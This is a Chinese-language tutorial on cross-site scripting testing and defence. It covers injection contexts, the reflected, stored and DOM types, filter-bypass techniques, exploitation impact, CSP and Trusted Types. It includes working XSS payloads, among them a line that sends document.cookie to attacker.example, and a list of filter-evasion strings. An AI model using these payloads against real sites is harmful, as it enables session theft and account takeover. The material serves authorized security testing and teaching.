站点搜索页的回显长这样:URL 是 https://example.com/search?q=键盘,页面显示「您搜索的是:键盘」。搜索词进了页面,这是一个注入点。

把参数换成一段 HTML:

1
https://example.com/search?q=<img src=x onerror=alert(1)>

页面不再显示这段文字,而是弹出一个对话框。输入被原样输出成了标签:<img> 的 src=x 加载失败,触发 onerror 里的 alert(1),浏览器把它当代码执行了。

再把 alert(1) 换成把 Cookie 发往外部服务器的脚本:

1
<img src=x onerror="new Image().src='//attacker.example/log?c='+document.cookie">

这一次没有任何可见动静——访问这个链接的已登录用户,其 Cookie 已被发往攻击者的服务器。攻击者拿着 Cookie 就能以该用户身份登录:不需要密码,不需要服务器任何权限。

这两步就是 XSS(跨站脚本)攻击的完整链路。它的前提只有一条:应用把可控输入放进了会被当作代码解析的位置。

OWASP Top 10:2025 把注入类问题列在 A05,其中跨站脚本(CWE-79)累计 CVE 超过 3 万个,是整个分类里数量最多的一类,官方定性为「高频、低影响」。这个定性来自统计平均,单个注入点的实际影响取决于它所处的权限上下文——同一个反射点,在普通用户页面和在管理员后台,是两个量级的漏洞。

文中示例统一使用 example.com 与自建靶场,测试在授权范围内进行。

漏洞原理:三个成立条件

XSS 成立需要三条同时满足:

  1. 输入可控——参数、表单、Header、Cookie、文件名、富文本,包括 URL 的 fragment
  2. 输出未按上下文编码——该转义的字符没转,或只转了一部分
  3. 落在浏览器会当作代码解析的位置——而不是被显示为文本

第 1 条决定这个点值不值得继续测,第 2、3 条决定能不能打通。

实际遇到的绕过点,多数集中在过滤规则与输出位置的不匹配上:站点把 <> 过滤干净了,内容却进入 href 属性,而 javascript: 协议不需要尖括号。过滤做得越”完整”,这种错配越容易被忽略。

第 3 条容易被当作常识跳过,但它决定 payload 形态。同一段输入落进 <div> 之间会执行,落进 <textarea> 只是字面量——后者不需要任何过滤也不会触发。

所以判断顺序是:先看落点,再定 payload,最后才考虑绕过。

三种类型:反射型、存储型、DOM 型

类型 脚本存在哪 谁触发 典型位置 实战价值
反射型 不存在服务器,藏在链接里 受害者点链接 搜索框、错误页、跳转参数 需社工配合,单次生效
存储型 存进数据库或文件 受害者正常访问即触发 评论、昵称、工单、日志后台 可扩散,落在后台时价值最高
DOM 型 只在浏览器内存中 前端 JS 自身渲染 location.hash 取值后写进 innerHTML 服务端日志看不到 payload

反射型:payload 随 URL 进入,服务器原样返回到页面。定位快,改参数看回显即可。价值取决于这条链接能否伪装成正常业务链接——短链、跳转参数、分享卡片都算有效载体。

存储型:payload 入库,所有访问该页面的人触发。它的杀伤力不在”能执行”,而在扩散范围和执行者身份。如果存储点位于管理员后台的审阅页(反馈、举报、工单、异常日志),触发者就是管理员。这类点通常称为盲打,判断线索是需要人工审核的入口。

DOM 型:数据从 URL 直接进入前端代码,服务端不参与。要追的是 source → sink 链路:location.hash、document.referrer、window.name、postMessage 的消息体是常见 source;innerHTML、eval、document.write、setAttribute('href', ...) 是常见 sink。

为什么 innerHTML 里的 script 不执行,img onerror 却会

HTML 规范规定:通过 innerHTML 插入的 <script> 元素会被创建,但不执行。这是 innerHTML 场景里常见误判的来源——没打出效果,被当成不存在漏洞。

不需要 <script> 也能运行 JS:

1
2
3
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe srcdoc="<script>alert(1)</script>"></iframe>

事件属性在元素解析完成或事件触发时执行,绕开了上述限制。因此 innerHTML 接收可控输入即为 XSS 风险,与是否出现 <script> 无关。

另一组容易混的:innerHTML 把字符串当 HTML 解析,innerText 只当文本。前者是注入面,后者不是。

测试流程:从注入点到验证

黑盒测试走四步,第三步决定测试能否继续。

第一步,找点。 输入点包括:URL 参数、POST 表单、HTTP 头(Referer、User-Agent、X-Forwarded-For)、Cookie、JSON 字段、上传文件名、富文本。输出点包括:搜索结果、错误提示、个人资料、评论区、后台日志与审阅页、邮件模板、<title>、<meta>。

测试的核心工作是把两组对上:哪个输入最终出现在哪个输出位置,中间经过什么处理。

第二步,定上下文。 同一个注入点,落点不同,payload 不同:

落点 页面中的形式 突破口
标签之间 <div>这里</div> 直接插入标签,<img src=x onerror=alert(1)>
属性值内 <input value="这里"> 闭合引号后加事件
<script> 字符串内 var a = "这里"; 闭合字符串:";alert(1);//
URL 或 href 内 <a href="这里"> javascript: 协议,需点击
CSS 内 style="color:这里" 老浏览器 expression(),现代浏览器已失效

上下文判断的常用做法:提交一个不可能自然出现的标记串(如 zz9test),在响应源码里定位它。

渲染后的页面无法区分 &lt; 与 <,只有源码能看出引号闭合状态、实体化程度、以及它落在哪个标签的哪个位置。

第三步,反推过滤。 起点是一组探测字符:把 <>"' 与一个标记串一并提交,逐字符看响应里的去向——尖括号被实体化,说明走的是 HTML 编码;引号原样保留,说明可以闭合属性;两者都保留,通常可以直接构造。定位到变形规则再看具体手法:

  • 全部实体化(< 变 &lt;)——这条路径基本封闭。但要确认是否”全部”:只转尖括号而漏掉引号的实现很常见,遇到就走属性闭合
  • 关键字被删或被替换——测三件事:是否区分大小写、删一次还是删干净、正则是否覆盖了所有标签
  • 被截断——先二分测出长度上限,再把 payload 压到最短:短标签配事件、省略引号、外链脚本去掉协议前缀写成协议相对地址(//evil.tld/a.js)
  • 完全无变化但未执行——通常落在 <textarea>、<title> 这类元素里,其内容按纯文本解析(规范中称 RCDATA 区域),不产生元素与事件;或被执行层策略拦截

第四步,验证并记录。 记录注入点、payload、执行位置,以及响应中的原始输出片段。报告里引用变形后的具体输出,比写”疑似存在过滤”有效。

上传点同样在测试范围内。允许上传 SVG 等于允许上传一个可执行 JS 的 XML 文件,若该文件能被同源直接访问(/uploads/xxx.svg),脚本就在站点域下执行。头像、附件、图床都值得单独检查。

在真实目标上跑批量 payload 的代价很直接:WAF 告警、IP 封禁、日志留痕,被限速后后续测试全部受影响。

逐点手工验证更容易判断过滤逻辑,也便于控制请求量。

常见过滤与绕过手法

绕过的核心是过滤与渲染之间的错位,而不是 payload 清单的堆叠。

先确定过滤发生在哪一层,四层的应对完全不同:

层 判断依据 应对
前端 JS 校验 只拦提交,禁脚本或直接改包即通过 绕过前端,直接发原始请求
服务端过滤 响应里能看到变形后的内容 分析变形规则,构造匹配外的形态
WAF 返回拦截页或 403,响应被整体替换 调整载荷结构,减少规则命中的特征
执行层(CSP) 注入成功但代码不执行,控制台有 violation 转向 script-src 允许的源与绕过点

确认层次后,错位点通常出现在三个方向:

换载体。 过滤针对 script 时,改用其他能触发执行的载体:<img onerror>、<svg onload>、<details ontoggle>、<a href="javascript:">。可用的标签越少,就看这些标签上哪些事件在页面加载时就会触发(如 load、error、toggle)。

换编码。 核心是解码与过滤的先后顺序。HTML 解析会先解实体,&#x6a; 在属性中等价于 j;URL 参数先解码再渲染,双重编码可能存活;JS 字符串内可用 \u0061 形式。过滤发生在解码之前、执行发生在解码之后,两者之间的空隙就是空间。

换时机。 同一段内容在不同渲染阶段被处理的严格程度不同——富文本先存后显示、草稿预览、邮件模板转页面、移动端与 Web 端各走一套渲染,都属于这类。第一次被净化、第二次未净化的情况很常见。

确认方向后,常见过滤场景与对应手法:

  • <script> 标签被过滤——换标签挂事件:<img src=x onerror=alert(1)>、<svg onload=alert(1)>、<details open ontoggle=alert(1)>
  • on* 事件被过滤——用不需要事件的载体:<a href="javascript:alert(1)">、<iframe srcdoc="<script>alert(1)</script>">
  • 关键字替换区分大小写——大小写混写:<sCrIpT>alert(1)</ScRiPt>,HTML 标签名不区分大小写
  • 关键字被删除——双写补位:<scrscriptipt>,删除一次 script 后剩余两段恰好拼回关键字
  • 引号被过滤——属性省略引号:<img src=x onerror=alert(1)>
  • 空格被过滤——/ 分隔:<img/src=x/onerror=alert(1)>
  • javascript: 协议被过滤——实体编码:&#106;avascript:alert(1)(属性值解析时先解码);data: 协议仅在 iframe src 这类可控加载点可用——现代浏览器已阻止顶层 data: 导航,且 data: 页面为不透明源,脚本并不在站点域下执行
  • 函数名(alert 等)被过滤——换函数:prompt(1)、confirm(1),或字符串拼接动态构造:[]["filter"]["constructor"]("ale"+"rt(1)")()——数组的 filter 方法来自 Function.prototype,其 constructor 就是 Function 构造器,可从字符串动态生成并执行函数
  • 长度受限——最短形式 <svg onload=alert(1)>(21 字符);或分次提交、注释闭合拼接:先存 <script>/*,再存 */alert(1)</script>,两段拼合后执行

单个场景的完整变形往往有几十条,日常查询靠三个资源:PortSwigger XSS Cheat Sheet 把标签、事件、属性全量列出,可按浏览器过滤,适合确认某个标签还能不能用;PayloadsAllTheThings 按场景分成 XSS Filter Bypass、Common WAF Bypass、CSP Bypass 等文件,适合已知过滤规则找现成变形;OWASP XSS Filter Evasion Cheat Sheet 汇总了经典编码与混淆手法,内容偏早,基础场景仍可参考。

如果响应头中存在 CSP,先看 script-src 的具体取值。策略严格时,注入成功也无法执行,此时应转向其他攻击面,而不是继续调整 payload。

靶场方面:XSS-Lab 是标准的递增式过滤练习环境,PortSwigger Web Security Academy 覆盖各类上下文与绕过的完整体系。

利用方式与危害评估

弹窗只证明代码能执行,实际危害取决于利用方向:

利用方向 前提 说明
窃取 Cookie Cookie 未设 HttpOnly 读取后重放登录态
表单劫持 页面存在登录或改密表单 覆盖 action,凭据直接外传
代替受害者操作 无额外条件 发消息、加好友、改配置、走审批
绕 CSRF Token 同源 脚本可读页面内 token,CSRF 防护失效
打后台到 RCE 后台存在危险功能 借任务计划、模板、备份功能写入文件
钓鱼挂马 需社工配合 页面内伪造登录框,或诱导下载

XSS 的实际价值在这一层:它提供的是在受害者身份下执行任意代码的能力。报告写「存在 XSS,可弹窗」,与写「可读取会话凭证并代替管理员执行审批操作」,评级与修复优先级不在一个量级。

最小验证代码(仅靶场)

验证 HttpOnly 是否生效,三行足够:

1
2
3
<script>
new Image().src = 'https://example.com/collect?c=' + encodeURIComponent(document.cookie);
</script>

服务端记录 query 即可。报告里写明「document.cookie 可读,值形如 xxx(已打码)」即可说明问题,无需附利用代码。

存储型 XSS 的清理成本远高于反射型:数据入库后需逐条定位、删除并评估影响面,测试阶段的持久化写入会留在业务数据中,后续排查和回溯都依赖这些记录。

验证在授权范围内进行,写入的数据在测试结束后清理。

防御方案

第一层,输出按上下文编码。 这是主力。同一个值写入 HTML 正文、属性、JS 字符串、URL、CSS,编码规则各不相同,手写替换函数容易漏掉上下文差异,按 OWASP XSS Prevention Cheat Sheet 的上下文转义规则处理更稳。现代框架(React、Vue、Angular)默认转义,风险集中在那几个逃逸口:dangerouslySetInnerHTML、v-html、innerHTML。审计时优先看这几处。

第二层,CSP 兜底。 注入拦不住时,让脚本无法执行:

1
Content-Security-Policy: script-src 'self' 'nonce-<随机值>' 'strict-dynamic'; object-src 'none'; base-uri 'none'

三个常见配置问题:unsafe-inline 与 nonce 同时存在(现代浏览器忽略 unsafe-inline,老浏览器不忽略,等于为旧客户端保留通道);遗漏 base-uri(可注入 <base> 改变相对路径脚本的加载地址);strict-dynamic 会让被 nonce 授信的脚本动态加载的其他脚本自动获得信任,站点存在 JSONP 或可控脚本加载点时,这条信任链会被直接利用。

第三层,降低被利用后的损失。 Cookie 加 HttpOnly、Secure、SameSite,脚本执行后也无法读取会话;富文本必须放行 HTML 时使用 DOMPurify 一类成熟净化器,并纳入版本升级——固定旧版本等于保留已知漏洞。

再往前一步是 Trusted Types:CSP 增加 require-trusted-types-for 指令,把字符串直接进入 sink 变成运行时错误,从”依赖开发者记得转义”变为”不转义即中断”。2026 年 2 月起达到 Baseline(Chrome/Edge 83+、Firefox 148+、Safari 26+),迁移时先用 Content-Security-Policy-Report-Only 收集违规再切强制。default policy(浏览器对未走策略的字符串自动调用的名为 default 的兜底策略)写成原样返回(createHTML: s => s)只通过类型检查,不改变实际风险。

X-XSS-Protection 已无实际作用。它控制的浏览器内置过滤器全部移除:Chrome 78(2019)删除 XSS Auditor,Safari 15.4 移除,Firefox 未实现,Edge 在 EdgeHTML 17 移除。此外它有两种模式各自的弱点:净化模式(1)下,过滤器依据”请求串是否出现在响应中”判断攻击,攻击者可反向利用这一点,让过滤器误拦页面自身的正常脚本;1; mode=block 模式下,拦截与放行造成的响应差异构成侧信道,可被用作跨域信息泄露的探针。该响应头可直接删除,同等精力投入编码与 CSP 的收益更高。

变种与延伸阅读

这些变种的共同点是漏洞位置不在页面注入点:mXSS 在净化器的处理流程里,UXSS 在浏览器或扩展自身,PDF 型在文件阅读器。

变种清单:mXSS、UXSS、SVG、PDF、Flash
变种 机制 2026 年的实际价值
mXSS 净化器序列化再解析时结构变化,绕过白名单 有,集中在富文本与编辑器
UXSS 利用浏览器或扩展自身漏洞,不依赖目标站缺陷 有,取决于具体 CVE
SVG 型 SVG 为 XML,<script> 可执行 高,头像与图片上传常见
PDF 型 PDF 内嵌 JS 动作,由阅读器执行 中,不同阅读器支持范围差异大
Flash 型 ExternalInterface.call 等与 JS 通信 归零,Adobe 已于 2020-12-31 停止支持

Flash 相关(swf、getURL、ExternalInterface)现仅存史料价值。

UXSS 案例:CVE-2021-34506

Edge 内置翻译功能未对输入做净化。攻击者在页面中插入其他语种文本与 XSS payload,用户点击地址栏翻译提示时,代码在任意站点上下文执行——目标站自身不需要任何缺陷。

CVSS 5.4,微软于 2021-06-24 的 91.0.864.59 版本修复,向发现者支付 2 万美元赏金,详见 CVE-2021-34506 报道。

与普通 XSS 的区别在于漏洞位置:在浏览器,不在网站。站点侧的所有防护在这类漏洞面前不起作用。

DOMPurify 2026 年修复的三个漏洞
  • CVE-2026-41238:原型污染构造 tagNameCheck,放行任意自定义元素——利用前提是站内本身存在可被原型污染的 gadget,3.4.0 修复
  • CVE-2026-65912:ADD_ATTR 传函数时绕过 URI 校验,javascript: 存活,3.3.2 修复
  • CVE-2026-49978:IN_PLACE 模式遗漏 template.content 中的影子内容,3.4.7 修复

写这篇文章时,三个漏洞都已修复,DOMPurify Releases 上也陆续发布到 3.4.17。净化器本身同样在持续暴露绕过,版本要跟在其他依赖前面升级。

测试速查表

场景 先看什么 优先尝试
搜索、错误回显 是否原样反射、是否实体化 <img src=x onerror=alert(1)>
个人资料、评论区 是否持久、后台是否展示 存储型,针对后台审阅页
URL fragment 驱动的前端 JS 中是否存在 innerHTML DOM 型,追 source→sink
头像、附件上传 是否允许 SVG 或 HTML,直链是否同源 上传后直接访问
富文本编辑器 净化器版本与配置 mXSS、白名单外标签

落点判断与过滤反推占据测试的主要工作量;防御侧真正有效的是按上下文编码,WAF 规则只起降噪作用。